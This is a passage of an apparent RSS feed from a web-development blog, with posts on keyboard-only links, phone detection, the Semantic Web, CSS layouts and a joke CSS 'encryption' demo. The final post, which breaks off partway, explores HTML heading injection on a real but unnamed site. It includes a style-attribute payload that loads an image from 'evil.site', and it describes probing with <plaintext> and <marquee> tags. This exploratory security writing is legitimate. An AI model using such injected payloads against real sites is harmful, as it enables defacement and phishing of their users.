		<category><![CDATA[experiment]]></category>
		<category><![CDATA[HTML5]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=46263</guid>

					<description><![CDATA[There&#039;s a link, right here ➡️⬅️ but, if you&#039;re on a touchscreen, you can&#039;t tap on it.  Using a mouse? Nope, that won&#039;t work either.  The only way to navigate to it is via keyboard navigation. Hit your Tab ⭾ button!  There&#039;s a little bit of me wants to build an entire website which can only be navigated by keyboard. What would the world look like if Engelbart never invented the mouse? Or if Johnson…]]></description>
										<content:encoded><![CDATA[<p>There's a link, right here ➡️<a href="https://mastodon.social/@Edent/109938468546563419" title="Top Secret Message"></a>⬅️ but, if you're on a touchscreen, you can't tap on it.</p>

<p>Using a mouse? Nope, that won't work either.</p>

<p>The only way to navigate to it is via keyboard navigation. Hit your Tab ⭾ button!</p>

<p>There's a little bit of me wants to build an entire website which can <em>only</em> be navigated by keyboard. What would the world look like if Engelbart never <a href="https://en.wikipedia.org/wiki/The_Mother_of_All_Demos">invented the mouse</a>? Or if Johnson never <a href="https://arstechnica.com/gadgets/2013/04/from-touch-displays-to-the-surface-a-brief-history-of-touchscreen-technology/">published his work on touchscreens</a>?</p>

<p>Anyway, there are two ways to do this.  The first is to create an anchor with no content.</p>

<p><code>&lt;a href="https://example.com/"&gt;&lt;/a&gt;</code></p>

<p>Because there's no content between the opening and closing <code>&lt;a&gt;</code> elements, most browsers won't present it as a target for a mouse cursor or finger.</p>

<p>There's a second method, which only works at discouraging mouse use. It's possible to <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/cursor">style a cursor with CSS</a>. And that style can be "none"</p>

<pre><code class="language-css">*, *:hover { 
  cursor: none !important; 
}
</code></pre>

<p><span style="cursor:none !important;">The cursor is still there, but it is invisible. Which makes it <a href="https://example.com/" title="Where has your cursor gone?" style="cursor:none !important;">difficult to know where your mouse is clicking</a>.</span></p>

<p>Now, should you do this? No. It is silly. Reducing accessibility like this is never a good idea. But it is a fun experiment.</p>

<p>Thanks to <a href="https://front-end.social/@matuzo/110671054774143915">Manuel Matuzović for inspiring me</a>.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=46263&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2023/07/this-link-is-only-available-by-keyboard-navigation/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Can this device make a phone call?]]></title>
		<link>https://shkspr.mobi/blog/2023/06/can-this-device-make-a-phone-call/</link>
					<comments>https://shkspr.mobi/blog/2023/06/can-this-device-make-a-phone-call/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Thu, 08 Jun 2023 11:34:37 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[mobile]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=45932</guid>

					<description><![CDATA[I want to detect if a web browser is running on a device which is capable of placing a telephone call.  Is that possible?  I&#039;m going to go with a cautious &#34;no - not quite&#34;. Although there are several proxies which get you part of the way there.  Here&#039;s a link to a telephone number &#34;call me!&#34; - the HTML is:  &#38;lt;a href=&#38;quot;tel:+441234815259&#38;quot;&#38;gt;call me!&#38;lt;/a&#38;gt;   You can use tel: in just…]]></description>
										<content:encoded><![CDATA[<p>I want to detect if a web browser is running on a device which is capable of placing a telephone call.  Is that possible?</p>

<p>I'm going to go with a cautious "no - not quite". Although there are several proxies which get you part of the way there.</p>

<p>Here's a link to a telephone number "<a href="tel:+441234815259">call me!</a>" - the HTML is:</p>

<pre><code class="language-HTML">&amp;lt;a href=&amp;quot;tel:+441234815259&amp;quot;&amp;gt;call me!&amp;lt;/a&amp;gt;
</code></pre>

<p>You can use <code>tel:</code> in just the same way you'd use <code>http:</code> or <code>mailto:</code>. It tells the User Agent to open the correct program to deal with a task - either a web-browser, email client, or - in this case - the telephone dialler.</p>

<p>But what happens if the user is on a desktop browser? Or using a tablet computer? Or on their smart TV? Usually an error message about how the device doesn't understand the link.</p>

<p>So, is there a way to use feature detection to only show a <code>tel:</code> to devices which can handle it?</p>

<h2 id="user-agent-sniffing"><a href="https://shkspr.mobi/blog/2023/06/can-this-device-make-a-phone-call/#user-agent-sniffing">User Agent Sniffing</a></h2>

<p>This practice has been <a href="https://web.archive.org/web/20110204021305/http://farukat.es/journal/2011/02/499-lest-we-forget-or-how-i-learned-whats-so-bad-about-browser-sniffing">discredited for over a decade</a>. UA Strings tend to lie. And, even when they don't lie, they're not very precise.</p>

<p>You could use this to discover if someone is running Android - but that doesn't tell you if it's a phone, tablet, TV, or VR headset.</p>

<h2 id="networkinformation-type"><a href="https://shkspr.mobi/blog/2023/06/can-this-device-make-a-phone-call/#networkinformation-type">NetworkInformation type</a></h2>

<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type"><code>navigator</code> object contains network information</a>. That <em>should</em> tell you if the device is on a 2G/3G/4G/5G connection.</p>

<p>Of course, your tablet also uses those connections. And your phone might be on WiFi.</p>

<h2 id="other-properties"><a href="https://shkspr.mobi/blog/2023/06/can-this-device-make-a-phone-call/#other-properties">Other properties</a></h2>

<p>It is possible to detect if a device is <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator/maxTouchPoints">multi-touch</a>, has a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator/getBattery">battery</a>, is a <a href="https://developer.mozilla.org/en-US/docs/Web/API/NavigatorUAData/mobile">mobile device</a>, can <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator/vibrate">vibrate</a>, etc.</p>

<p>All of which, taken together, <em>might</em> indicate that the device is a phone. But it is far from certain.</p>

<h2 id="a-big-database-of-products"><a href="https://shkspr.mobi/blog/2023/06/can-this-device-make-a-phone-call/#a-big-database-of-products">A Big Database Of Products</a></h2>

<p>Companies like 51Degrees will sell you access to their database - which includes reporting <a href="https://51degrees.com/blog/supportsphonecalls-property-added">whether a specific device supports phone calls</a>. As will <a href="https://deviceatlas.com/resources/available-properties">DeviceAtlas</a>.</p>

<p>There used to be an Open Source database called WURFL - <a href="https://shkspr.mobi/blog/2012/01/wurfl-and-database-copyright/">but ScientiaMobile closed down open access to it</a>.</p>

<p>To be fair, 51Degrees have a generous free tier - but it is a little depressing that this sort of feature detection is locked in a proprietary product.</p>

<p>If you have any ideas how to solve this <a href="tel:+441234815259">please give me a call</a>!</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=45932&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2023/06/can-this-device-make-a-phone-call/feed/</wfw:commentRss>
			<slash:comments>13</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Does AI mean we don't need the Semantic Web?]]></title>
		<link>https://shkspr.mobi/blog/2023/05/does-ai-mean-we-dont-need-the-semantic-web/</link>
					<comments>https://shkspr.mobi/blog/2023/05/does-ai-mean-we-dont-need-the-semantic-web/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sat, 20 May 2023 11:34:47 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[schema.org]]></category>
		<category><![CDATA[semantic web]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=45827</guid>

					<description><![CDATA[If you hang around with computerists long enough, they start talking about the Semantic Web. If you can represent human knowledge in a way that&#039;s easy for computers to understand it will be transformative for information processing.  But computers, traditionally, haven&#039;t been very good at parsing ambiguous human text.  Suppose you saw this text written for a human:  Our opening hours are:…]]></description>
										<content:encoded><![CDATA[<p>If you hang around with computerists long enough, they start talking about the Semantic Web. If you can represent human knowledge in a way that's easy for computers to understand it will be transformative for information processing.</p>

<p>But computers, traditionally, haven't been very good at parsing ambiguous human text.</p>

<p>Suppose you saw this text written for a human:</p>

<blockquote><p>Our opening hours are: Weekdays 10 until 7. Weekend 10 until 10 (Early closing 9 o'clock Sunday).</p></blockquote>

<p>Not the most straightforward sentence, but pretty easy for a human to parse.</p>

<p>Until recently, the best way to represent that for a computer was something like:</p>

<pre><code class="language-html">&lt;meta itemprop="openingHours" content="Mo-Fr 10:00-19:00"&gt;
&lt;meta itemprop="openingHours" content="Sa 10:00-22:00"&gt;
&lt;meta itemprop="openingHours" content="Su 10:00-21:00"&gt;
</code></pre>

<p>or</p>

<pre><code class="language-html">&lt;script type="application/ld+json"&gt;
{
   "@context": "https://schema.org",
   "openingHours":["Mo-Fr 10:00-19:00", "Sa 10:00-22:00", "Su 10:00-21:00"]
}
&lt;/script&gt;
</code></pre>

<p>A tightly constrained vocabulary which can be precisely parsed by a simple state-machine. Easy to ingest, interpret, and query. Easy for machines, that is. As much as I love the semantic web, it is <em>hard</em> for humans to write, update, and maintain.</p>

<p>But we have AI now.  So do we need to mark up documents specifically for machines?</p>

<p>I fed the text into OpenAI's ChatGPT.  Here's what it said:</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2023/05/ChatGPT-opening-hours.png" alt="User: Read the following sentence: " our="" opening="" hours="" are:="" weekdays="" 10="" until="" 7.="" weekend="" (early="" closing="" 9="" o'clock="" sunday)."="" chatgpt:="" the="" given="" sentence="" states="" of="" a="" certain="" establishment.="" here="" is="" breakdown="" mentioned:="" weekdays:="" establishment="" open="" from="" in="" morning="" 7="" evening.="" weekend:="" on="" weekends,="" at="" night.="" early="" sunday:="" sundays,="" closes="" earlier="" than="" usual,="" please="" note="" that="" this="" information="" based="" solely="" provided="" sentence,="" and="" specific="" or="" its="" type="" not="" mentioned.="" user:="" 2130="" sunday?="" has="" sunday,="" with="" time="" set="" therefore,="" would="" be="" 21:30="" (or="" 9:30="" pm)="" sunday."="" width="1024" height="868" class="aligncenter size-full wp-image-45828">

It isn't just capable of parroting back data - it can perform moderately complex reasoning:

<img src="https://shkspr.mobi/blog/wp-content/uploads/2023/05/0830.png" alt="User: It is 0830 Wednesday. How long until the establishment is open? ChatGPT: Based on the information provided, the establishment's opening hours on weekdays start at 10 in the morning. If it is currently 8:30 on a Wednesday, you would need to wait 1 hour and 30 minutes until the establishment opens at 10:00 AM." width="1024" height="277" class="aligncenter size-full wp-image-45831">

<p>Do we need to write for computers any more?  One of the demands of the Semantic Web was that we should use HTML elements like <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/address"><code>&lt;address&gt;</code> to clearly mark up a contact address</a> and we should wrap dates and times in the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/time"><code>&lt;time&gt;</code> element</a>.</p>

<p>Is that now redundant?</p>

<p>We still need to write clearly and unambiguously. But do we need separate "machine-readable" HTML if machines can now read and interpret text designed for humans?</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=45827&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2023/05/does-ai-mean-we-dont-need-the-semantic-web/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[The limits of CSS styling select options]]></title>
		<link>https://shkspr.mobi/blog/2023/05/the-limits-of-css-styling-select-options/</link>
					<comments>https://shkspr.mobi/blog/2023/05/the-limits-of-css-styling-select-options/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Mon, 15 May 2023 11:34:37 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[HTML5]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=45753</guid>

					<description><![CDATA[Sometimes you learn the most from failures!  I wanted a &#60;select multiple&#62; element where the &#60;options&#62; were laid out in a grid. I nearly got there.  It&#039;s possible to have the &#60;option&#62;s in a horizontal row - but only on Chrome and Firefox.  Here&#039;s a quick fiddle showing the results:    As you can see, it&#039;s possible to do some pretty extravagant styling of the individual &#60;options&#62; you can even…]]></description>
										<content:encoded><![CDATA[<p>Sometimes you learn the most from failures!</p>

<p>I wanted a <code>&lt;select multiple&gt;</code> element where the <code>&lt;options&gt;</code> were laid out in a grid. I <em>nearly</em> got there.</p>

<p>It's possible to have the <code>&lt;option&gt;</code>s in a horizontal row - but only on Chrome and Firefox.</p>

<p><a href="https://jsfiddle.net/edent/v2qeyfg8/">Here's a quick fiddle showing the results</a>:</p>

<iframe width="100%" height="150" src="//jsfiddle.net/edent/v2qeyfg8/embedded/result/" allowfullscreen="allowfullscreen" allowpaymentrequest="" frameborder="0"></iframe>

<p>As you can see, it's possible to do some pretty extravagant styling of the individual <code>&lt;options&gt;</code> you can even change how they look when they're selected.</p>

<p>But it's impossible to get them to wrap using a flexbox or grid approach. It seems the only layout options are a vertical or horizontal list.</p>

<p>Why, yes, I should probably have used <code>&lt;input type="checkbox"&gt;</code> instead!</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=45753&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2023/05/the-limits-of-css-styling-select-options/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Responsive Yearly Calendar with Flexbox]]></title>
		<link>https://shkspr.mobi/blog/2023/04/responsive-yearly-calendar-with-flexbox/</link>
					<comments>https://shkspr.mobi/blog/2023/04/responsive-yearly-calendar-with-flexbox/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Fri, 28 Apr 2023 11:34:47 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[flexbox]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[responsive]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=45646</guid>

					<description><![CDATA[This blog has a calendar showing my yearly archives. It was in a table layout - which made sense when I first designed it - but had a few spacing niggles and was hard to make responsive.  Now, it behaves like this:    The code is relatively straightforward.  The HTML for the calendar looks like this:  &#60;div class=&#34;calendars&#34;&#62;     &#60;div class=&#34;calendar&#34;&#62;         &#60;div class=&#34;calendar-year&#34;&#62;2018&#60;/div&#62; …]]></description>
										<content:encoded><![CDATA[<p>This blog has a calendar showing my yearly archives. It was in a table layout - which made sense when I first designed it - but had a few spacing niggles and was hard to make responsive.</p>

<p>Now, it behaves like this:</p>

<p><video width="1024" height="576" src="https://shkspr.mobi/blog/wp-content/uploads/2023/04/Responsive-Calendar.mp4" mute="" loop="" autoplay=""></video></p>

<p>The code is relatively straightforward.  The HTML for the calendar looks like this:</p>

<pre><code class="language-html">&lt;div class="calendars"&gt;
    &lt;div class="calendar"&gt;
        &lt;div class="calendar-year"&gt;2018&lt;/div&gt;
        &lt;div class="calendar-month"&gt;January&lt;/div&gt;
        &lt;div class="calendar-month"&gt;February&lt;/div&gt;
        &lt;div class="calendar-month"&gt;March&lt;/div&gt;
        &lt;div class="calendar-month"&gt;April&lt;/div&gt;
        &lt;div class="calendar-month"&gt;May&lt;br&gt;&lt;/div&gt;
        &lt;div class="calendar-month"&gt;June&lt;/div&gt;
        &lt;div class="calendar-month"&gt;July&lt;/div&gt;
        &lt;div class="calendar-month"&gt;August&lt;/div&gt;
        &lt;div class="calendar-month"&gt;September&lt;/div&gt;
        &lt;div class="calendar-month"&gt;October&lt;/div&gt;
        &lt;div class="calendar-month"&gt;November&lt;/div&gt;
        &lt;div class="calendar-month"&gt;December&lt;/div&gt;
    &lt;/div&gt;

    &lt;div class="calendar"&gt;
        &lt;div class="calendar-year"&gt;2017&lt;/div&gt;
        &lt;div class="calendar-month"&gt;January&lt;/div&gt;
        &lt;div class="calendar-month"&gt;February&lt;/div&gt;
                ...
</code></pre>

<p>Repeat as many times as needed.</p>

<p>The CSS is slightly more tricky, but mercifully short:</p>

<p>The wrapper which holds all the calendars uses <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-wrap"><code>flex-wrap</code></a>. This means there's no need to set explicit breakpoints - if there's no horizontal space, the calendar will move to the next row.</p>

<pre><code class="language-css">.calendars {
    display: flex;
    flex-wrap: wrap;
}
</code></pre>

<p>Each individual calendar item is <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/grid-template-columns">a grid with three column layout</a>:</p>

<pre><code class="language-css">.calendar {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    margin: .5em;
}
</code></pre>

<p>The "Year" at the top spans the first three columns. I find the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/grid-column-end"><code>grid-column-...</code> syntax</a> confusing!</p>

<pre><code class="language-css">.calendar-year {
    grid-column-start: 1;
    grid-column-end: 4;
    text-align: center;
    outline: 1px black solid;
}
</code></pre>

<p>Finally, each individual month has a bit of internal padding and text formatting:</p>

<pre><code class="language-css">.calendar-month {
    text-align: center;
    padding: .25em;
    outline: 1px black solid;
}
</code></pre>

<p>I've used a basic black <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/outline"><code>outline</code></a>. Obviously, you can add whatever fancy CSS you like to make them look prettier.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=45646&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2023/04/responsive-yearly-calendar-with-flexbox/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		<enclosure url="https://shkspr.mobi/blog/wp-content/uploads/2023/04/Responsive-Calendar.mp4" length="117070" type="video/mp4" />

			</item>
		<item>
		<title><![CDATA[How to password protect a static HTML page with no JS]]></title>
		<link>https://shkspr.mobi/blog/2023/02/how-to-password-protect-a-static-html-page-with-no-js/</link>
					<comments>https://shkspr.mobi/blog/2023/02/how-to-password-protect-a-static-html-page-with-no-js/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Mon, 20 Feb 2023 12:34:34 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[demo]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[HTML5]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=44999</guid>

					<description><![CDATA[I recently saw Robin Moisson&#039;s method of password protecting a statically served HTML page. It&#039;s quite neat! But it does rely on JavaScript. That got me wondering if there was a way to encrypt a static page only using CSS?  And... I think I&#039;ve done it!  I&#039;ll warn you now, this is a deeply stupid way to solve the problem.  Here&#039;s a screencast of the demo in action: …]]></description>
										<content:encoded><![CDATA[<p>I recently saw <a href="https://github.com/robinmoisson/staticrypt">Robin Moisson's method of password protecting a statically served HTML page</a>. It's quite neat! But it does rely on JavaScript. That got me wondering if there was a way to encrypt a static page only using CSS?</p>

<p>And... I think I've done it!</p>

<p>I'll warn you now, this is a <em>deeply</em> stupid way to solve the problem.</p>

<p>Here's a screencast of <a href="https://edent.codeberg.page/stupid-css-encryption/">the demo</a> in action:</p>

<p></p><div style="width: 620px;" class="wp-video"><video class="wp-video-shortcode" id="video-44999-2" width="620" height="291" preload="metadata" controls="controls"><source type="video/mp4" src="https://shkspr.mobi/blog/wp-content/uploads/2023/02/fucking-stupid-css-encryption-lol.mp4?_=2"><a href="https://shkspr.mobi/blog/wp-content/uploads/2023/02/fucking-stupid-css-encryption-lol.mp4">https://shkspr.mobi/blog/wp-content/uploads/2023/02/fucking-stupid-css-encryption-lol.mp4</a></video></div><p></p>

<p>Type the password and the page decrypts!!!!!</p>

<p>This abuses some interesting CSS features.</p>

<p>First, you can display the <code>&lt;style&gt;</code> element on the page.</p>

<pre><code class="language-html">&lt;style&gt;
   style {
      display: block;
   }
&lt;/style&gt;
</code></pre>

<p>Secondly, you can make the CSS editable by the user with <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contenteditable"><code>contenteditable</code></a></p>

<pre><code class="language-html">&lt;style contenteditable="true"&gt;...&lt;/style&gt;
</code></pre>

<p>As soon as a user types into the CSS, it is applied to the page. No need for JS.</p>

<p>So if a user types in a password...?</p>

<p>Let's step back a bit. How can we encrypt text using CSS?  I know... WEBFONTS!</p>

<p>A WOFF2 webfont is a Brotli compressed file. If I've <a href="https://www.rfc-editor.org/rfc/rfc7932#section-11.3">read the spec correctly</a> (LOL!) removing a chunk of a small file should render the file too damaged to read.</p>

<p>It's possible to convert the WOFF2 into Base64 and use it in the CSS:</p>

<pre><code class="language-css">@font-face {
   font-family:'encrypt_sans';
   src:url('data:application/font-woff2;charset=utf-8;base64,d09GMg...') format('woff2');
}
</code></pre>

<p>Cut a chunk out of the middle of that font, and use that missing piece as the password.  Foolproof!</p>

<p>But - I hear you say - how to encrypt text using a font?  Well, that's easy!</p>

<p>That cleverclogs <a href="https://eligrey.com/blog/rot13-dejavu-fonts/">Eli Grey has a font which encrypts text</a>.  It's magical. Well, OK, it's ROT13.  Obviously, <em>any</em> substitution cipher can probably be broken using frequency analysis.</p>

<p>Of course, it is possible to use font ligatures to obfuscate the text even more. See <a href="https://pixelambacht.nl/2015/sans-bullshit-sans/">Bullshit Sans as an example</a></p>

<p>So, there you have it. A way to <em>sort of</em> encrypt a statically served HTML file without using JavaScript.</p>

<h2 id="demo-and-source"><a href="https://shkspr.mobi/blog/2023/02/how-to-password-protect-a-static-html-page-with-no-js/#demo-and-source">Demo and Source</a></h2>

<ul>
<li><a href="https://edent.codeberg.page/stupid-css-encryption/">Demo</a></li>
<li><a href="https://codeberg.org/edent/stupid-css-encryption/">Source</a></li>
</ul>

<h2 id="possible-improvements"><a href="https://shkspr.mobi/blog/2023/02/how-to-password-protect-a-static-html-page-with-no-js/#possible-improvements">Possible Improvements</a></h2>

<p>This was a demo hastily put together while hungover one weekend. There's <em>lots</em> of room for improvement.</p>

<p>The UI abuses CSS to hide some of the boilerplate involved. It could be made to look nicer.</p>

<p>There's no way to generate an "encrypted" font. Ideally someone (not me!) would take a plaintext and generate a scrambled and ligatured font to automagically do this.</p>

<p>It is inaccessible to screen readers. The font doesn't change the underlying text.</p>

<p>Brotli compressed WOFF2 files <em>might</em> be recoverable even after substantial damage.</p>

<p>This is really <em>really</em> stupid.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=44999&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2023/02/how-to-password-protect-a-static-html-page-with-no-js/feed/</wfw:commentRss>
			<slash:comments>9</slash:comments>
		
		<enclosure url="https://shkspr.mobi/blog/wp-content/uploads/2023/02/fucking-stupid-css-encryption-lol.mp4" length="437761" type="video/mp4" />

			</item>
		<item>
		<title><![CDATA[What's the most malicious thing you can do with an injected HTML heading element?]]></title>
		<link>https://shkspr.mobi/blog/2022/08/whats-the-most-malicious-thing-you-can-do-with-an-injected-html-heading-element/</link>
					<comments>https://shkspr.mobi/blog/2022/08/whats-the-most-malicious-thing-you-can-do-with-an-injected-html-heading-element/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Tue, 30 Aug 2022 11:34:39 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[Responsible Disclosure]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=42759</guid>

					<description><![CDATA[A bit of a thought experiment - similar to my Minimum Viable XSS and SVG injection investigations.  I recently found a popular website which echoed back user input. It correctly sanitised &#60; to &#38;lt; to prevent any HTML injection.  Except…  It let through &#60;h2&#62; elements unaltered! Why? I suspect because the output was:  &#60;h2&#62;Your search for ... returned no results&#60;/h2&#62;   And, somehow, the parser was g…]]></description>
										<content:encoded><![CDATA[<p>A bit of a thought experiment - similar to my <a href="https://shkspr.mobi/blog/2016/03/minimum-viable-xss/">Minimum Viable XSS</a> and <a href="https://shkspr.mobi/blog/2019/11/responsible-disclosure-svg-injection-in-three-co-uk/">SVG injection</a> investigations.</p>

<p>I recently found a popular website which echoed back user input. It correctly sanitised <code>&lt;</code> to <code>&amp;lt;</code> to prevent any HTML injection.</p>

<p>Except…</p>

<p>It let through <code>&lt;h2&gt;</code> elements unaltered! Why? I suspect because the output was:</p>

<pre><code class="language-html">&lt;h2&gt;Your search for ... returned no results&lt;/h2&gt;
</code></pre>

<p>And, somehow, the parser was getting confused.  OK, what can we do with this little vector?</p>

<p>The first thought is to use Javascript event handlers like <code>onclick()</code> or <code>onmouseover()</code> - but they were (sensibly) blocked.  The <code>&lt;h2&gt;</code> element only has access to the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes">Global Attributes</a>. So we could inject content which use Right-To-Left text, or add some metadata attributes - but that's not particularly useful.</p>

<p>The most useful Global Attribute is <code>style=""</code>. Yup! Good old CSS!</p>

<p>The limitation of the style attribute is that it only applies to the specific element it is attached to. So you can't rewrite the entire page. You also can't use the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/content"><code>content:</code></a> property - as that only applies to <code>::before</code> and <code>::after</code> directives.</p>

<p>Using normal CSS, we can change the colour and size of our newly injected <code>&lt;h2&gt;</code>, faff around with the background colour, change the font, and move it about the page.  Good for a bit of digital graffiti, but not much else.</p>

<p>Except…</p>

<p>What about using <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/background-image"><code>background-image</code></a>? Using that, we can pull in an <em>external</em> resource.</p>

<pre><code class="language-_">&lt;h2
  style="background-image:url('https://evil.site/whatever.png');
  width:512px;
  height:512px;"&gt; ... &lt;/h2&gt;
</code></pre>

<p>That will load an external picture on the site. It could be an animated GIF saying "You're a winner! Visit www.... to claim your prize!". It wouldn't be clickable, but might catch a few people out.</p>

<p>It is possible to load an SVG. And <a href="https://shkspr.mobi/blog/2018/02/this-svg-always-shows-todays-date/">SVG can contain JS</a>. But - alas and alack - the JS doesn't run in background mode - even if the JS is bundled as Base64.</p>

<p>Changing the <code>content-disposition</code> of the image won't force the browser to download it, either.</p>

<p>And that, I think, is about the limit of it. If Javascript is blocked, the worst you can do is inject a malicious image. Short of finding a zero-day in a browser's codec, all that can happen is a bit of temporary defacement.</p>

<h2 id="but-wait-theres-more"><a href="https://shkspr.mobi/blog/2022/08/whats-the-most-malicious-thing-you-can-do-with-an-injected-html-heading-element/#but-wait-theres-more">But Wait! There's More!</a></h2>

<p>While fuzzing around with the input, I made an interesting mistake.  I mistyped <code>&lt;svg&gt;</code> as <code>&lt;sgv&gt;</code>.  That invalid element <em>was</em> added to the page's HTML!  That means there's a parser somewhere which is stripping out only the elements it knows about.  Browsers typically ignore elements they don't understand - so there's no danger to users there. But it points to the idea that there may be some elements the sanitiser doesn't know about.</p>

<p>And, indeed, there were!  For example, it happily took the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/plaintext">obsolete <code>&lt;plaintext&gt;</code> element</a>, and dumped it into the markup.  Which caused the page to break.</p>

<p>It also, delightfully, took the <code>&lt;marquee&gt;</code> element!</p>

<style>.social-embed{all:unset;display:block;}.social-embed * {all:unset;display:revert;}.social-embed::after{all:unset;}.social-embed::before{all:unset;}blockquote:not(*){all:unset;}.social-embed a{cursor:pointer;}blockquote.social-embed{box-sizing:border-box;border:.5px solid;width:550px;max-width:100%;font-family:sans-serif;margin:auto;margin-bottom:.5em;padding:1em;border-radius:1em;background-color:#FFF;color:#000;display:block;}.social-embed-header{display:flex;justify-content:space-between;}.social-embed-user{display:flex;position:relative;align-items:center;text-decoration:none;color:inherit;}.social-embed-avatar{width:3em;height:3em;margin-right:.5em;}.social-embed-avatar-circle{border-radius:50%;}.social-embed-avatar-square{border-radius:5%;}.social-embed-user-names-name{display:flex;align-items:center;font-weight:bold;margin:0;}.social-embed-text{margin-top:.5em;}.social-embed-footer{display:flex;align-items:center;justify-content:space-between;}.social-embed-logo{width:3em;}.social-embed-hr{border:.1px solid;margin:.5em 0 .5em 0;}.social-embed-meta{text-decoration:none !important;color:unset !important;}.social-embed-reply{display:block;}.social-embed-text a, .social-embed-footer time{color:blue;text-decoration:underline;}.social-embed-media, .social-embed-video{border-radius:1em;max-width:100%;margin:auto;display:block;}.social-embed-reply{font-size:.75em;display:block;}.social-embed-meter{width:100%;background:#0005;}.social-embed-card{text-decoration:none !important;color:unset !important;border:.5px solid;display:block;font-size:.85em;padding:.5em;border-radius:1em;}</style>

